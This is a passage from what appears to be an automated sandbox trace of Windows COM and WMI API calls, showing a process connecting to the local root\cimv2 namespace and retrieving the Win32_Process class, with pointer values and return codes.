pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0061.356] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea18b0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0061.356] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0061.356] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0061.357] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.357] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0061.357] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0061.357] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0061.357] IUnknown:Release (This=0x111f638) returned 0x1 [0061.358] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x11f7810) returned 0x0 [0061.359] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7810, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0061.359] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7810, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bea1bb0) returned 0x0 [0061.359] WbemDefPath:IUnknown:Release (This=0x11f7810) returned 0x0 [0061.359] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bea1bb0) returned 0x0 [0061.359] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0061.359] WbemDefPath:IUnknown:AddRef (This=0x1bea1bb0) returned 0x3 [0061.359] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0061.359] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0061.359] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x11f7850) returned 0x0 [0061.359] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7850, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.359] WbemDefPath:IUnknown:Release (This=0x11f7850) returned 0x3 [0061.359] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0061.359] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0061.359] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0061.360] WbemDefPath:IUnknown:Release (This=0x1bea1bb0) returned 0x2 [0061.360] WbemDefPath:IUnknown:Release (This=0x1bea1bb0) returned 0x1 [0061.360] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0061.360] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0061.360] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1bb0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bea1bb0) returned 0x0 [0061.360] WbemDefPath:IUnknown:AddRef (This=0x1bea1bb0) returned 0x3 [0061.360] WbemDefPath:IUnknown:Release (This=0x1bea1bb0) returned 0x2 [0061.360] WbemDefPath:IWbemPath:SetText (This=0x1bea1bb0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0061.360] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1bb0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0061.360] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0061.360] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.360] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0061.360] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0061.360] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0061.360] IUnknown:Release (This=0x111f638) returned 0x1 [0061.361] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x11f7950) returned 0x0 [0061.361] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7950, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0061.361] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f7950, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x11f7970) returned 0x0 [0061.361] WbemLocator:IUnknown:Release (This=0x11f7950) returned 0x0 [0061.361] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7970, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x11f7970) returned 0x0 [0061.361] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7970, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0061.362] WbemLocator:IUnknown:AddRef (This=0x11f7970) returned 0x3 [0061.362] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7970, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0061.362] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7970, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0061.362] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7970, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0061.362] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0061.362] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0061.362] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7970, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0061.362] WbemLocator:IUnknown:Release (This=0x11f7970) returned 0x2 [0061.362] WbemLocator:IUnknown:Release (This=0x11f7970) returned 0x1 [0061.362] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0061.362] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0061.362] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7970, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x11f7970) returned 0x0 [0061.362] WbemLocator:IUnknown:AddRef (This=0x11f7970) returned 0x3 [0061.362] WbemLocator:IUnknown:Release (This=0x11f7970) returned 0x2 [0061.363] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1bb0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0061.363] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0061.363] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.363] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x11f7990) returned 0x0 [0061.363] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f7990, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bed2a50) returned 0x0 [0061.369] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2a50, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11dfba0) returned 0x0 [0061.369] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11dfba0, pProxy=0x1bed2a50, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0061.369] WbemLocator:IUnknown:Release (This=0x11dfba0) returned 0x1 [0061.369] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2a50, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11dfbe0) returned 0x0 [0061.369] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2a50, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11dfba0) returned 0x0 [0061.369] WbemLocator:IClientSecurity:SetBlanket (This=0x11dfba0, pProxy=0x1bed2a50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0061.369] WbemLocator:IUnknown:Release (This=0x11dfba0) returned 0x2 [0061.369] WbemLocator:IUnknown:Release (This=0x11dfbe0) returned 0x1 [0061.370] CoTaskMemFree (pv=0x1bed0770) [0061.370] WbemLocator:IUnknown:AddRef (This=0x1bed2a50) returned 0x2 [0061.370] WbemLocator:IUnknown:Release (This=0x11f7990) returned 0x0 [0061.370] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0061.370] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0061.370] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2a50, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11dfbb0) returned 0x0 [0061.370] WbemLocator:IRpcOptions:Query (in: This=0x11dfbb0, pPrx=0x11f79f0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0061.370] WbemLocator:IUnknown:Release (This=0x11dfbb0) returned 0x2 [0061.370] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0061.370] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0061.370] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2a50, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bed2a50) returned 0x0 [0061.371] WbemLocator:IUnknown:Release (This=0x1bed2a50) returned 0x2 [0061.371] SysStringLen (param_1=0x0) returned 0x0 [0061.371] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1bb0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0061.371] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0061.371] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.371] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0061.371] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0061.371] IWbemServices:GetObject (in: This=0x1bed2a50, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bebc1c0, ppCallResult=0x0) returned 0x0 [0061.374] IWbemClassObject:Get (in: This=0x1bebc1c0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0061.374] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0061.374] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0061.374] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0061.374] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0061.374] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0061.374] IUnknown:Release (This=0x111f638) returned 0x1 [0061.376] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x11f7990) returned 0x0 [0061.376] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7990, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0061.376] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7990, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bea1c70) returned 0x0 [0061.376] WbemDefPath:IUnknown:Release (This=0x11f7990) returned 0x0 [0061.376] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bea1c70) returned 0x0 [0061.376] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0061.377] WbemDefPath:IUnknown:AddRef (This=0x1bea1c70) returned 0x3 [0061.377] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0061.377] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0061.377] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x11f79b0) returned 0x0 [0061.377] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f79b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.377] WbemDefPath:IUnknown:Release (This=0x11f79b0) returned 0x3 [0061.377] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0061.377] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0061.377] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0061.377] WbemDefPath:IUnknown:Release (This=0x1bea1c70) returned 0x2 [0061.377] WbemDefPath:IUnknown:Release (This=0x1bea1c70) returned 0x1 [0061.377] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0061.377] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0061.377] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bea1c70) returned 0x0 [0061.377] WbemDefPath:IUnknown:AddRef (This=0x1bea1c70) returned 0x3 [0061.377] WbemDefPath:IUnknown:Release (This=0x1bea1c70) returned 0x2 [0061.377] WbemDefPath:IWbemPath:SetText 